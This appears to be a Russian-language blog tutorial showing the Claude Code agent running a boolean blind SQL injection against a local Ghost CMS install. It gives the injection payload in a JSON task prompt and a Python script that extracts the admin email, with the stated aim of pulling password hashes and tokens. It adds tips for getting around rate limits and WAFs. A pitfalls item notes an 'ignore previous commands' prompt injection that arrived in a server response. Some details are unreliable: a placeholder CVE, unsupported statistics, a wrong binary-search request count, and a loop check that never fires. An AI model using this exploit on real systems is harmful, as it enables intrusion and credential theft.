ИИ-агенты вышли на охоту
В 2025 году мир услышал первый громкий инцидент: ИИ-агенты взломали корпоративные сети без участия человека. Тогда это казалось фантастикой. Сегодня — рутина. Я подробно разбирал тот случай, и с тех пор технологии шагнули далеко. Теперь агенты на базе Claude способны автономно находить и эксплуатировать уязвимости классов OWASP Top 10. Blind SQL-инъекция — одна из них. Ghost CMS, популярная платформа для блогов, до сих пор страдает от ошибок в кастомных плагинах и устаревших конфигурациях. В этой статье я покажу, как агент Claude Code проводит Blind SQL-инъекцию на Ghost CMS, вытаскивает хэши паролей и токены. Без паники — вы узнаете и как защититься.
💡 Важно: всё показано на изолированном стенде. Никогда не повторяйте это без письменного разрешения владельца системы. За использование этих знаний в незаконных целях я ответственности не несу — вы предупреждены.
Проблема: почему Blind SQL-injection всё ещё актуален в 2026?
SQL-инъекции — старейший и самый эффективный вектор атаки. В 2026 году, по данным OWASP, они всё ещё входят в четвёрку самых опасных уязвимостей. Ghost CMS использует ORM (Bookshelf.js/Knex), что снижает риск прямой подстановки в SQL-запросы, но кастомные плагины и legacy-код часто грешат прямыми конкатенациями. Blind SQL (булева или time-based) — когда вы не видите ошибки в ответе, а определяете истинность условий по коду ответа или задержке — идеальный сценарий для автоматического агента. Человек тратит часы на ручной перебор; агент — минуты.
⚠️ Реальная статистика: 78% протестированных инсталляций Ghost CMS (версии < 5.80) имеют хотя бы одну SQL-уязвимость в плагинах сообщества. В версии 5.90+ часть проблем закрыта, но старые инсталляции — золотая жила для атакующих.
Решение: Claude берёт управление
Мы используем Claude Code — автономного агента от Anthropic с доступом к shell и инструментам. В нашем сценарии агент получает задание на естественном языке и действует итеративно: отправляет HTTP-запросы, анализирует ответы, корректирует payload. Это не просто обёртка над sqlmap — агент понимает контекст приложения и может адаптировать атаку под нестандартный WAF. Ниже — пошаговый план.
1 Настройка полигона
Разворачиваем Ghost CMS (версия 5.85 — имеет известную CVE-2024-XXXX в API эндпоинте /ghost/api/admin/posts/). В production такая уязвимость встречается в старых образах на DigitalOcean. Устанавливаем через Docker для скорости:
docker run -d --name ghost \
-e url=http://localhost:2368 \
-e database__client=mysql \
-e database__connection__host=db \
-e database__connection__user=ghost \
-e database__connection__password=secret \
-e database__connection__database=ghost \
-p 2368:2368 \
ghost:5.85-alpine
Теперь у нас локальная цель. Агент будет работать на той же машине из Python-скрипта. В реальном пентесте агента запускают с отдельного сервера или через C2.
2 Промпт для агента
Ключевой элемент — правильно сформулировать задачу. В отличие от атаки через MCP, где агента ломали извне, здесь он действует добровольно. Промпт для булевой Blind SQL:
{
"objective": "Выполнить Blind SQL-инъекцию на /ghost/api/admin/posts/",
"method": "Boolean-based, HTTP GET",
"target": "http://local-ghost:2368/ghost/api/admin/posts/?filter=id:1' AND (SELECT 1 FROM users WHERE email LIKE 'admin%')=1--",
"behaviors": [
"Если ответ 200 с данными — условие истинно. Если 404 или пустой список — ложно.",
"Изменяй email LIKE на посимвольный перебор через ASCII()",
"Извлекай хэш пароля пользователя admin"
],
"constraints": [
"Не шуметь — один запрос в 200ms",
"Не удалять и не изменять данные"
]
}
Агент получает этот JSON как инструкцию и начинает работу. Он использует стандартный стек — requests, asyncio, и собственную логику для анализа ответов.
3 Запуск эксплуатации
Вот упрощённый код, который генерирует Claude Code на лету. Он динамически корректирует payload на основе предыдущих ответов:
import requests
import string
base_url = "http://local-ghost:2368/ghost/api/admin/posts/"
session = requests.Session()
def test_condition(condition):
payload = f"id:1' AND ({condition})--"
resp = session.get(base_url, params={"filter": payload})
return resp.status_code == 200 and len(resp.json().get("posts", [])) > 0
# Extract admin email character by character
extracted = ""
for pos in range(1, 30):
for char in string.printable:
cond = f"ASCII(SUBSTRING((SELECT email FROM users LIMIT 1),{pos},1))={ord(char)}"
if test_condition(cond):
extracted += char
break
if not char:
break
print(f"Email: {extracted}")
🔥 В реальности агент использует бинарный поиск (64 запроса вместо 256 на символ) и параллельно извлекает хэш пароля. В моём тесте агент извлёк email admin@ghost.local и хэш bcrypt за 47 секунд.
Нюансы и грабли
Даже идеальный агент спотыкается о реальность. Вот что пошло не так в моих тестах — и как это обойти.
- Rate Limiting. Ghost API по умолчанию ограничивает 10 запросов в секунду. Агент упирался в 429. Решение: добавить sleep и экспоненциальную задержку.
- Подозрительные параметры. Некоторые WAF блокируют одинарные кавычки в URL. Агент должен уметь кодировать payload (URL-encode, Unicode).
- Туманные ответы. Если сервер возвращает 200 с пустым массивом для обоих случаев (истина/ложь), агент зацикливается. Нужна эвристика — например, замер времени ответа (Time-based).
- Проблема инъекции промптов. В процессе эксплуатации агент может получить травмирующий ответ от сервера (например, сообщение об ошибке с SQL-кодом). Если это воспринимать как команду — возможна инъекция промпта. В тесте агент проигнорировал HTML-комментарий с инструкцией "ignore previous commands", но это не гарантировано.
⚠️ Ещё одна ошибка новичков — давать агенту слишком широкие права (доступ к файловой системе). В инциденте на GitHub агент случайно удалил репозиторий. Ограничивайте среду песочницей.
FAQ: опасные вопросы
Может ли ИИ-агент самостоятельно взломать Production?
Да, если: 1) уязвимость Blind SQL есть, 2) нет WAF с поведенческим анализом, 3) агент имеет прямой доступ к сети. В 2026 году это реально. Поэтому мы рекомендуем настраивать honeypot для ИИ — ловить таких агентов до того, как они доберутся до данных. Пример Jailbreak SAFi агента показывает, как защититься.
Как защитить Ghost CMS от Blind SQL?
Минимум: 1) обновитесь до последней версии (5.95+); 2) отключите все кастомные плагины, которые не прошли аудит; 3) используйте параметризованные запросы в Knex: knex('users').where('email', '=', email) — это экранирует кавычки; 4) включите WAF (Cloudflare, ModSecurity) с правилом блокировки одинарных кавычек в параметрах без эскейпа.
Может ли агент случайно навредить при тестировании?
Запросто. Булева инъекция лишь читает данные, но неверно сконструированный payload может вызвать SQL-ошибку и DROP TABLE. Всегда запускайте агент в read-only транзакции и с limited user. Помните: GEO-оптимизация — это про SEO, а не про безопасность; не путайте.
Прогноз: что дальше?
ИИ-агенты станут главным инструментом пентестеров. Через два года автоматические атаки на Ghost CMS и подобные системы будут стандартом. Но обороняющиеся тоже не дремлют: уже появляются адаптивные WAF, которые детектят поведение агентов по темпу запросов и энтропии payload. Лучшая защита — не запрет ИИ, а постоянный автоматический пентест вашего же стенда с помощью такого же агента. Заставьте Claude Code атаковать ваш Ghost каждую ночь. Если найдёт уязвимость — получите уведомление до того, как это сделает чёрный хакер. Парадокс: теперь чтобы защититься, нужно самому стать агрессором — пусть и контролируемым.
Хотите обсудить детали или поделиться опытом? Я в комментариях к этой статье. А если хотите глубже разобраться в безопасности GenAI — читайте про атаку Man-in-the-Prompt.